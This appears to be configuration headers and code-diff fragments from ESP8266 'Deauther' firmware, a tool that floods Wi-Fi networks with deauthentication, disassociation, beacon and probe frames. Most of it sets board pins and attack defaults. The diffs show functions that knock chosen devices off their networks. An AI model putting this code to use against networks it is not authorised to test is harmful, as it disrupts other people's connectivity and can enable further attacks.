/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
*/
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
||||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
#define DEFAULT_ESP8266
|
||||
|
||||
/* ---------------------------------------------------------- */
|
||||
/* ===>> !!! Uncomment the board taht you're using: !!! <<=== */
|
||||
/* ---------------------------------------------------------- */
|
||||
|
||||
// #define NODEMCU
|
||||
// #define WEMOS_D1_MINI
|
||||
// #define DEAUTHER
|
||||
// #define DEAUTHER_V1
|
||||
// #define DEAUTHER_V2
|
||||
// #define DEAUTHER_V3
|
||||
// #define DEAUTHER_V3_5
|
||||
// #define D_DUINO_B_V5_LED_RING
|
||||
// #define DEAUTHER_BOY
|
||||
// #define NODEMCU_07
|
||||
// #define NODEMCU_07_V2
|
||||
// #define DEAUTHER_OLED
|
||||
// #define DEAUTHER_OLED_V1_5_S
|
||||
// #define DEAUTHER_OLED_V1_5
|
||||
// #define DEAUTHER_OLED_V2
|
||||
// #define DEAUTHER_OLED_V2_5
|
||||
// #define DEAUTHER_OLED_V3
|
||||
// #define DEAUTHER_OLED_V3_5
|
||||
// #define DEAUTHER_OLED_V4
|
||||
// #define DEAUTHER_OLED_V5
|
||||
// #define DEAUTHER_MOSTER
|
||||
// #define DEAUTHER_MOSTER_V2
|
||||
// #define DEAUTHER_MOSTER_V3
|
||||
// #define USB_DEAUTHER
|
||||
// #define USB_DEAUTHER_V2
|
||||
// #define DEAUTHER_WRISTBAND
|
||||
// #define DEAUTHER_WRISTBAND_V2
|
||||
// #define DEAUTHER_MINI
|
||||
// #define LYASI_7W_E27_LAMP
|
||||
// #define AVATAR_5W_E14_LAMP
|
||||
|
||||
// Forces formatting of SPIFFS and EEPROM ot startup
|
||||
// #define FORMAT_SPIFFS
|
||||
// #define FORMAT_EEPROM
|
||||
|
||||
// Forces a reset of all settings at startup
|
||||
// #define RESET_SETTINGS
|
||||
|
||||
// ========== CONFIGS ========== //
|
||||
#if defined(D_DUINO_B_V5_LED_RING)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NEOPIXEL_NUM 12
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DEAUTHER_BOY)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 10
|
||||
#define BUTTON_DOWN 9
|
||||
#define BUTTON_A 14
|
||||
#define BUTTON_B 12
|
||||
|
||||
#elif defined(DEAUTHER_V3_5) || defined(NODEMCU_07_V2)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#elif defined(DEAUTHER_OLED_V1_5_S)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DEAUTHER_OLED) || defined(DEAUTHER_OLED_V1_5)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_B 2
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SSD1306_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DEAUTHER_OLED_V2) || defined(DEAUTHER_OLED_V2_5) || defined(DEAUTHER_OLED_V3)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_B 2
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DEAUTHER_OLED_V3_5) || defined(DEAUTHER_OLED_V4) || defined(DEAUTHER_OLED_V5) || defined(DEAUTHER_MOSTER) || defined(DEAUTHER_MOSTER_V2) || defined(DEAUTHER_MOSTER_V3)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(USB_DEAUTHER_V2)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 4
|
||||
|
||||
#elif defined(DEAUTHER_WRISTBAND) || defined(DEAUTHER_WRISTBAND_V2) || defined(DEAUTHER_MINI)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(LYASI_7W_E27_LAMP)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_MY92_NUM 1
|
||||
#define LED_MY92_DATA 4
|
||||
#define LED_MY92_CLK 5
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
|
||||
#elif defined(AVATAR_5W_E14_LAMP)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_MY92_NUM 1
|
||||
#define LED_MY92_DATA 13
|
||||
#define LED_MY92_CLK 15
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
|
||||
#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(USB_DEAUTHER) || defined(NODEMCU_07) || defined(DEAUTHER) || defined(DEAUTHER_V1) || defined(DEAUTHER_V2) || defined(DEAUTHER_V3)
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(USB_DEAUTHER) || defined(NODEMCU_07) || defined(DEAUTHER) || defined(DEAUTHER_V1) || defined(DEAUTHER_V2) || defined(DEAUTHER_V3) */
|
||||
// ============================== //
|
||||
|
||||
|
||||
// ========= FALLBACK ========= //
|
||||
|
||||
// ===== AUTOSAVE ===== //
|
||||
#ifndef AUTOSAVE_ENABLED
|
||||
#define AUTOSAVE_ENABLED true
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef AUTOSAVE_TIME
|
||||
#define AUTOSAVE_TIME 60
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
// ===== ATTACK ===== //
|
||||
#ifndef ATTACK_ALL_CH
|
||||
#define ATTACK_ALL_CH false
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef RANDOM_TX
|
||||
#define RANDOM_TX false
|
||||
#endif /* ifndef RANDOM_TX */
|
||||
|
||||
#ifndef ATTACK_TIMEOUT
|
||||
#define ATTACK_TIMEOUT 600
|
||||
#endif /* ifndef ATTACK_TIMEOUT */
|
||||
|
||||
#ifndef DEAUTHS_PER_TARGET
|
||||
#define DEAUTHS_PER_TARGET 25
|
||||
#endif /* ifndef DEAUTHS_PER_TARGET */
|
||||
|
||||
#ifndef DEAUTH_REASON
|
||||
#define DEAUTH_REASON 1
|
||||
#endif /* ifndef DEAUTH_REASON */
|
||||
|
||||
#ifndef BEACON_INTERVAL_100MS
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#endif /* ifndef BEACON_INTERVAL_100MS */
|
||||
|
||||
#ifndef PROBE_FRAMES_PER_SSID
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
#endif /* ifndef PROBE_FRAMES_PER_SSID */
|
||||
|
||||
// ===== SNIFFER ===== //
|
||||
#ifndef CH_TIME
|
||||
#define CH_TIME 200
|
||||
#endif /* ifndef CH_TIME */
|
||||
|
||||
#ifndef MIN_DEAUTH_FRAMES
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
#endif /* ifndef MIN_DEAUTH_FRAMES */
|
||||
|
||||
#ifndef DEFAULT_SSID
|
||||
#define DEFAULT_SSID "pwned"
|
||||
#endif /* ifndef DEFAULT_SSID */
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#ifndef AP_SSID
|
||||
#define AP_SSID "pwned"
|
||||
#endif /* ifndef AP_SSID */
|
||||
|
||||
#ifndef AP_PASSWD
|
||||
#define AP_PASSWD "deauther"
|
||||
#endif /* ifndef AP_PASSWD */
|
||||
|
||||
#ifndef AP_HIDDEN
|
||||
#define AP_HIDDEN false
|
||||
#endif /* ifndef AP_HIDDEN */
|
||||
|
||||
#ifndef AP_IP_ADDR
|
||||
#define AP_IP_ADDR { 192, 168, 4, 1 }
|
||||
#endif /* ifndef AP_IP_ADDR */
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#ifndef WEB_ENABLED
|
||||
#define WEB_ENABLED true
|
||||
#endif /* ifndef WEB_ENABLED */
|
||||
|
||||
#ifndef WEB_CAPTIVE_PORTAL
|
||||
#define WEB_CAPTIVE_PORTAL true
|
||||
#endif /* ifndef WEB_CAPTIVE_PORTAL */
|
||||
|
||||
#ifndef WEB_USE_SPIFFS
|
||||
#define WEB_USE_SPIFFS false
|
||||
#endif /* ifndef WEB_USE_SPIFFS */
|
||||
|
||||
#ifndef DEFAULT_LANG
|
||||
#define DEFAULT_LANG "en"
|
||||
#endif /* ifndef DEFAULT_LANG */
|
||||
|
||||
// ===== CLI ===== //
|
||||
#ifndef CLI_ENABLED
|
||||
#define CLI_ENABLED true
|
||||
#endif /* ifndef CLI_ENABLED */
|
||||
|
||||
#ifndef CLI_ECHO
|
||||
#define CLI_ECHO true
|
||||
#endif /* ifndef CLI_ECHO */
|
||||
|
||||
// =============== LED =============== //
|
||||
#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)
|
||||
#define NEOPIXEL_LED
|
||||
#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */
|
||||
|
||||
#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(MY92)
|
||||
#define LED_DIGITAL
|
||||
#define USE_LED false
|
||||
#else /* if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(MY92) */
|
||||
#define USE_LED true
|
||||
#endif /* if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(MY92) */
|
||||
|
||||
#ifndef LED_PIN_R
|
||||
#define LED_PIN_R 255
|
||||
#endif /* ifndef LED_PIN_R */
|
||||
|
||||
#ifndef LED_PIN_G
|
||||
#define LED_PIN_G 255
|
||||
#endif /* ifndef LED_PIN_G */
|
||||
|
||||
#ifndef LED_PIN_B
|
||||
#define LED_PIN_B 255
|
||||
#endif /* ifndef LED_PIN_B */
|
||||
|
||||
#ifndef LED_ANODE
|
||||
#define LED_ANODE false
|
||||
#endif /* ifndef LED_ANODE */
|
||||
|
||||
#ifndef LED_MODE_OFF
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#endif /* ifndef LED_MODE_OFF */
|
||||
|
||||
#ifndef LED_MODE_SCAN
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#endif /* ifndef LED_MODE_SCAN */
|
||||
|
||||
#ifndef LED_MODE_ATTACK
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#endif /* ifndef LED_MODE_ATTACK */
|
||||
|
||||
#ifndef LED_MODE_IDLE
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#endif /* ifndef LED_MODE_IDLE */
|
||||
|
||||
#ifndef LED_MODE_BRIGHTNESS
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
#endif /* ifndef LED_MODE_BRIGHTNESS */
|
||||
|
||||
// =============== DISPLAY =============== //
|
||||
|
||||
#ifndef DISPLAY_TIMEOUT
|
||||
#define DISPLAY_TIMEOUT 600
|
||||
#endif /* ifndef DISPLAY_TIMEOUT */
|
||||
|
||||
#ifndef DISPLAY_TEXT
|
||||
#define DISPLAY_TEXT ""
|
||||
#endif /* ifndef DISPLAY_TEXT */
|
||||
|
||||
#ifndef FLIP_DIPLAY
|
||||
#define FLIP_DIPLAY false
|
||||
#endif /* ifndef FLIP_DIPLAY */
|
||||
|
||||
#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)
|
||||
#define SSD1306_I2C
|
||||
#define USE_DISPLAY false
|
||||
#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
#define USE_DISPLAY true
|
||||
#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
|
||||
#ifndef I2C_ADDR
|
||||
#define I2C_ADDR 0x3C
|
||||
#endif /* ifndef I2C_ADDR */
|
||||
|
||||
#ifndef I2C_SDA
|
||||
#define I2C_SDA 5
|
||||
#endif /* ifndef I2C_SDA */
|
||||
|
||||
#ifndef I2C_SCL
|
||||
#define I2C_SCL 4
|
||||
#endif /* ifndef I2C_SCL */
|
||||
|
||||
#ifndef SPI_RES
|
||||
#define SPI_RES 5
|
||||
#endif /* ifndef SPI_RES */
|
||||
|
||||
#ifndef SPI_DC
|
||||
#define SPI_DC 4
|
||||
#endif /* ifndef SPI_DC */
|
||||
|
||||
#ifndef SPI_CS
|
||||
#define SPI_CS 15
|
||||
#endif /* ifndef SPI_CS */
|
||||
|
||||
// =============== BUTTONS =============== //
|
||||
#ifndef BUTTON_UP
|
||||
#define BUTTON_UP 255
|
||||
#endif // ifndef BUTTON_UP
|
||||
|
||||
#ifndef BUTTON_DOWN
|
||||
#define BUTTON_DOWN 255
|
||||
#endif // ifndef BUTTON_DOWN
|
||||
|
||||
#ifndef BUTTON_A
|
||||
#define BUTTON_A 255
|
||||
#endif // ifndef BUTTON_A
|
||||
|
||||
#ifndef BUTTON_B
|
||||
#define BUTTON_B 255
|
||||
#endif // ifndef BUTTON_B
|
||||
|
||||
// ======== CONSTANTS ========== //
|
||||
// Do not change these values unless you know what you're doing!
|
||||
#define DEAUTHER_VERSION "2.2.0"
|
||||
#define DEAUTHER_VERSION_MAJOR 2
|
||||
#define DEAUTHER_VERSION_MINOR 2
|
||||
#define DEAUTHER_VERSION_REVISION 0
|
||||
|
||||
#define EEPROM_SIZE 4095
|
||||
#define BOOT_COUNTER_ADDR 1
|
||||
#define SETTINGS_HASH_ADDR BOOT_COUNTER_ADDR + sizeof(boot)
|
||||
#define SETTINGS_ADDR SETTINGS_HASH_ADDR + sizeof(settings_hash_t)
|
||||
|
||||
// ======== AVAILABLE SETTINGS ========== //
|
||||
|
||||
|
||||
/*
|
||||
// ===== ATTACK ===== //
|
||||
#define ATTACK_ALL_CH false
|
||||
#define RANDOM_TX false
|
||||
#define ATTACK_TIMEOUT 600
|
||||
#define DEAUTHS_PER_TARGET 25
|
||||
#define DEAUTH_REASON 1
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
|
||||
// ====== SNIFFER ====== //
|
||||
#define CH_TIME 200
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#define AP_SSID "pwned"
|
||||
#define AP_PASSWD "deauther"
|
||||
#define AP_HIDDEN false
|
||||
#define AP_IP_ADDR {192, 168, 4, 1}
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#define WEB_ENABLED true
|
||||
#define WEB_CAPTIVE_PORTAL true
|
||||
#define WEB_USE_SPIFFS false
|
||||
#define DEFAULT_LANG "en"
|
||||
|
||||
// ===== CLI ===== //
|
||||
#define CLI_ENABLED true
|
||||
#define CLI_ECHO true
|
||||
|
||||
// ===== LED ===== //
|
||||
#define USE_LED true
|
||||
#define LED_DIGITAL
|
||||
#define LED_RGB
|
||||
#define LED_NEOPIXEL
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_ANODE false
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_G 255
|
||||
#define LED_PIN_B 2
|
||||
|
||||
#define LED_NEOPIXEL_RGB
|
||||
#define LED_NEOPIXEL_GRB
|
||||
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 255
|
||||
|
||||
#define LED_MODE_OFF 0,0,0
|
||||
#define LED_MODE_SCAN 0,0,255
|
||||
#define LED_MODE_ATTACK 255,0,0
|
||||
#define LED_MODE_IDLE 0,255,0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_MY92_NUM 1
|
||||
#define LED_MY92_DATA 4
|
||||
#define LED_MY92_CLK 5
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9231
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define USE_DISPLAY false
|
||||
#define DISPLAY_TIMEOUT 600
|
||||
#define FLIP_DIPLAY false
|
||||
|
||||
#define SSD1306_I2C
|
||||
#define SSD1306_SPI
|
||||
#define SH1106_I2C
|
||||
#define SH1106_SPI
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 5
|
||||
#define I2C_SCL 4
|
||||
|
||||
#define SPI_RES 5
|
||||
#define SPI_DC 4
|
||||
#define SPI_CS 15
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 255
|
||||
#define BUTTON_DOWN 255
|
||||
#define BUTTON_A 255
|
||||
#define BUTTON_B 255
|
||||
|
||||
*/
|
||||
|
||||
// ========== ERROR CHECKS ========== //
|
||||
#if LED_MODE_BRIGHTNESS == 0
|
||||
#error LED_MODE_BRIGHTNESS must not be zero!
|
||||
#endif /* if LED_MODE_BRIGHTNESS == 0 */
|
||||
|
||||
#endif /* ifndef config_h */
|
|
@ -91,7 +91,7 @@ String Accesspoints::getSSID(int num) {
|
|||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDEN);
|
||||
return str(AP_HIDDE_SSID);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0, 32);
|
||||
|
@ -128,30 +128,30 @@ String Accesspoints::getEncStr(int num) {
|
|||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
}
|
||||
|
|
|
@ -15,7 +15,7 @@ extern Names names;
|
|||
extern String searchVendor(uint8_t* mac);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String fixUtf8(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
struct AP {
|
||||
uint8_t id;
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
Attack::Attack() {
|
||||
getRandomMac(mac);
|
||||
|
||||
if (settings.getBeaconInterval()) {
|
||||
if (settings.getAttackSettings().beacon_interval == INTERVAL_1S) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
|
@ -83,9 +83,9 @@ void Attack::updateCounter() {
|
|||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
if (deauthAll) deauth.maxPkts = settings.getAttackSettings().deauths_per_target *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
else deauth.maxPkts = settings.getAttackSettings().deauths_per_target *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
|
@ -95,17 +95,17 @@ void Attack::updateCounter() {
|
|||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||
if (settings.getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getAttackSettings().probe_frames_per_ssid;
|
||||
else probe.maxPkts = 0;
|
||||
|
||||
// random transmission power
|
||||
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
if (settings.getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
|
||||
// reset counters
|
||||
|
@ -240,7 +240,7 @@ void Attack::deauthAllUpdate() {
|
|||
void Attack::probeUpdate() {
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11);
|
||||
if (settings.getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11);
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
|
@ -259,18 +259,18 @@ void Attack::beaconUpdate() {
|
|||
}
|
||||
|
||||
bool Attack::deauthStation(int num) {
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getAttackSettings().deauth_reason, stations.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthAP(int num) {
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getAttackSettings().deauth_reason, accesspoints.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthName(int num) {
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getAttackSettings().deauth_reason, names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
||||
return deauthDevice(names.getMac(num), broadcast, settings.getAttackSettings().deauth_reason, names.getCh(num));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -291,7 +291,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
|||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
if (sendPacket(deauthPacket, packetSize, ch, 1)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
@ -299,7 +299,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
|||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
if (sendPacket(deauthPacket, packetSize, ch, 1)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
@ -314,7 +314,7 @@ bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_
|
|||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
